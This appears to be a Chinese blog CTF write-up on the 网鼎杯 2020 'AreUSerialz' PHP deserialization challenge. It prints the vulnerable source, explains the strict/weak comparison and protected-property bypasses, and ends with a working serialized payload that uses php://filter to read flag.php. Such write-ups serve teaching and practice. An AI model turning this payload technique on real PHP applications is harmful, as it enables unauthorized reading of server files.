zoukankan      html  css  js  c++  java
  • [网鼎杯 2020 青龙组]AreUSerialz

    代码审计的题目,考点为反序列化漏洞

     1 <?php
     2 
     3 include("flag.php");
     4 
     5 highlight_file(__FILE__);
     6 
     7 class FileHandler {
     8 
     9     protected $op;
    10     protected $filename;
    11     protected $content;
    12 
    13     function __construct() {
    14         $op = "1";
    15         $filename = "/tmp/tmpfile";
    16         $content = "Hello World!";
    17         $this->process();
    18     }
    19 
    20     public function process() {
    21         if($this->op == "1") {
    22             $this->write();
    23         } else if($this->op == "2") {
    24             $res = $this->read();
    25             $this->output($res);
    26         } else {
    27             $this->output("Bad Hacker!");
    28         }
    29     }
    30 
    31     private function write() {
    32         if(isset($this->filename) && isset($this->content)) {
    33             if(strlen((string)$this->content) > 100) {
    34                 $this->output("Too long!");
    35                 die();
    36             }
    37             $res = file_put_contents($this->filename, $this->content);
    38             if($res) $this->output("Successful!");
    39             else $this->output("Failed!");
    40         } else {
    41             $this->output("Failed!");
    42         }
    43     }
    44 
    45     private function read() {
    46         $res = "";
    47         if(isset($this->filename)) {
    48             $res = file_get_contents($this->filename);
    49         }
    50         return $res;
    51     }
    52 
    53     private function output($s) {
    54         echo "[Result]: <br>";
    55         echo $s;
    56     }
    57 
    58     function __destruct() {
    59         if($this->op === "2")
    60             $this->op = "1";
    61         $this->content = "";
    62         $this->process();
    63     }
    64 
    65 }
    66 
    67 function is_valid($s) {
    68     for($i = 0; $i < strlen($s); $i++)
    69         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
    70             return false;
    71     return true;
    72 }
    73 
    74 if(isset($_GET{'str'})) {
    75 
    76     $str = (string)$_GET['str'];
    77     if(is_valid($str)) {
    78         $obj = unserialize($str);
    79     }
    80 
    81 }

    从74行代码可以看出需要传入str参数,然后通过is_valid()判断str中的字符是否在ascii码32到125之间,最后在对其进行反序列化

    类在反序列化的过程中会调用__destruct方法

    1 function __destruct() {
    2     if($this->op === "2")
    3     $this->op = "1";
    4     $this->content = "";
    5     $this->process();
    6 }

    代码第2行中的op参数使用的是强类型比较,我们可以使用数字类型2进行绕过赋值op="1",然后赋值content参数为空,进入process方法

     1 public function process() {
     2    if($this->op == "1") {
     3          $this->write();
     4     } else if($this->op == "2") {
     5          $res = $this->read();
     6          $this->output($res);
     7          } else {
     8             $this->output("Bad Hacker!");
     9             }
    10 }

    代码第2行op使用的弱类型比较,如果op值为1调用write(),op值为2调用read(),然后output()将read()返回值进行输出

    read()

    1 private function read() {
    2         $res = "";
    3         if(isset($this->filename)) {
    4             $res = file_get_contents($this->filename);
    5         }
    6         return $res;
    7     }

    filename没有做过滤因此是可控的,所以我们可以通过php://filter伪协议,利用file_get_contents()读取文件
    需要注意的地方是,$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid()校验

     1 <?php
     2 include("flag.php");
     3 
     4 highlight_file(__FILE__);
     5 
     6 class FileHandler
     7 {
     8 
     9     protected $op = 2;
    10     protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    11     protected $content;
    12 
    13     function __construct()
    14     {
    15         $op = "1";
    16         $filename = "/tmp/tmpfile";
    17         $content = "Hello World!";
    18         $this->process();
    19     }
    20 
    21     public function process()
    22     {
    23         if ($this->op == "1") {
    24             $this->write();
    25         } else if ($this->op == "2") {
    26             $res = $this->read();
    27             $this->output($res);
    28         } else {
    29             $this->output("Bad Hacker!");
    30         }
    31     }
    32 
    33     private function write()
    34     {
    35         if (isset($this->filename) && isset($this->content)) {
    36             if (strlen((string)$this->content) > 100) {
    37                 $this->output("Too long!");
    38                 die();
    39             }
    40             $res = file_put_contents($this->filename, $this->content);
    41             if ($res) $this->output("Successful!");
    42             else $this->output("Failed!");
    43         } else {
    44             $this->output("Failed!");
    45         }
    46     }
    47 
    48     private function read()
    49     {
    50         $res = "";
    51         if (isset($this->filename)) {
    52             $res = file_get_contents($this->filename);
    53         }
    54         return $res;
    55     }
    56 
    57     private function output($s)
    58     {
    59         echo "[Result]: <br>";
    60         echo $s;
    61     }
    62 
    63     function __destruct()
    64     {
    65         if ($this->op === "2")
    66             $this->op = "1";
    67         $this->content = "";
    68         $this->process();
    69     }
    70 
    71 }
    72 echo serialize(new FileHandler());

    序列化结果为如下图,%00字符ascii码为0,所以不显示,变量前面会存在多出一个*

     有几种绕过的方式,简单的一种是:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public便可绕过

     payLoad:

    http://14971a13-49e6-413d-a220-0e27dc4c9363.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}

    base64解密后,便获取到flag

  • 相关阅读:
    C#.NET Split 的几种使用方法
    给网站指明手机网网站
    手机访问网站自动跳转到手机版
    手机网页点击链接触发手机自动拨打或保存电话的代码
    图片切换效果2(定时+左右按钮)
    java HttpClient设置代理
    将应用部署到Tomcat根目录的方法
    Java中ArrayList类的用法
    JSP/Serlet 使用fileupload上传文件
    java 格式化字符串
  • 原文地址:https://www.cnblogs.com/gtx690/p/13259123.html
Copyright © 2011-2022 走看看